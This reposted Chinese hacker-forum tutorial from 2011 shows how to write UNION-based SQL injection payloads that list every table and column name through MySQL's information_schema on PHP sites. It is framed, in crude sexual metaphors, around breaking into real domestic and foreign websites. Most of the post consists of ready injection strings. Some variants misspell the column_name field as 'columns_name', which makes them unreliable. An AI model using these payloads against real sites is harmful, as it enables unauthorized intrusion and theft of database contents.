您的位置:首页 > 编程语言 > PHP开发

php+mysql非暴力查表的注入语句写法总结

2011-05-25 10:58 435 查看
作者:杨凡 来自:Silic Group Hacker Army
很久很久很久以前,当我对php+mysql的注射什么都不懂的时候,磊哥教了我怎么去射这种站,并且教会了我很多种不同的射的方法,这让我学会了使用不同的体位去射,结果我发现射这种站的时候灵活性真的很大,想在哪里射就在哪里射,想怎么射就怎么射,想什么体位就什么体位,学会了很多东西,很感激磊哥。
磊哥给我发过一些截图,我看到磊哥和狐狸大哥一起射过很多站,都是国外的站啊,他们也射的进去,我没搞过几个国外站,主要是一看到那些别扭的字母我自己就别扭,就思路就断掉断掉了… …
所以,到现在为止,我还是不明白为什么当磊哥总是射的很远(人在国内就可以射到国外去),并且射的量很大(发给我了好多截图啊)… …
我觉得应该是磊哥身体好,所以才这样… …
在磊哥给我演示过的各种体位中,其中有一种是非暴力慢慢射的方法,这种方法很温柔,不会弄痛人家,所以使用起来是你好我好大家好,这种方法在坛子里发的有,链接为:
/Article/201105/89843.html
/Article/201105/89850.html
我今天要说的也是这种方法,不过代码要简洁一点,因为简洁,所以射起来的时候会感觉更爽一点,并且射出结果所需的时间也比较短一些。
不过我觉得磊哥和娜娜大姐应该早知道这种代码,只是在他们的文章中为了使新手更容易理解,所以才写的复杂了一点,既然他们没写,那我就越俎代庖一把,写出来吧。
先看上面的第一个链接,磊哥的查表的代码是这样写的:
union select 1,2,3,table_name from (select * from information_schema.tables where table_schema=数据库名字的hex order by table_schema limit 6,7)t limit 1—
这句代码可以查出某个库中都有哪些表,但是这个代码的唯一不足之处就是,每次只能查出一个表名,要想获得这个库中的所有表名,就必须要不断的更换limit后边的数值,比较麻烦,并且磊哥的这句代码使用了两层嵌套,这对于那些对SQL语言不怎么熟悉的朋友来说可能就不是那么好理解了,那么,其实这句代码可以这么写:
union+select+1,2,table_name+from+information_schema.tables+where+table_schema=数据库名字的hex
这样就一次性列出了该库中的所有表名,可以看到,这里只有一层查询,并且没有使用limit关键字,这样就清爽多了,要写的代码也少了很多,并且更容易理解一点,你看,是不是很爽?
好了,到现在为止,磊哥的那篇文章说完了,下面说娜娜姐的那篇文章,也就是上边说的第二个链接。
娜娜姐是这样写的:
union select 1,2,column_name from (select * from information_schema.columns where table_name=爆出来的表名的hex值 and table_schema=数据库名的hex值 order by 1 limit 2,3)t limit 1—
这里同样使用了嵌套查询,并且同样是每次只能查出一个列名,还是很麻烦,我要说的是,这段代码可以这么写:
union+select+1,2,columns_name+from+information_schema.columns+where+table_name=爆出来的表名的hex值
这样就一次性列出了指定表中的所有列名。
可以看到,我上边说的两句代码中没有使用limit来限定查询的范围,如果你愿意,你可以在语句的最后加上这个limit,比如:
union+select+1,2,table_name+from+information_schema.tables+where+table_schema=数据库名字的hex limit 0,1
union+select+1,2,columns_name+from+information_schema.columns+where+table_name=爆出来的表名的hex值 limit 0,1
如果你不知道limit有什么用,那么建议你自己谷歌一下,这里不细说,只是简单的说一下语句的变换问题,OK,完毕。

摘自红色黑客联盟(www.7747.net) 原文:http://www.7747.net/Article/201105/90057.html
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: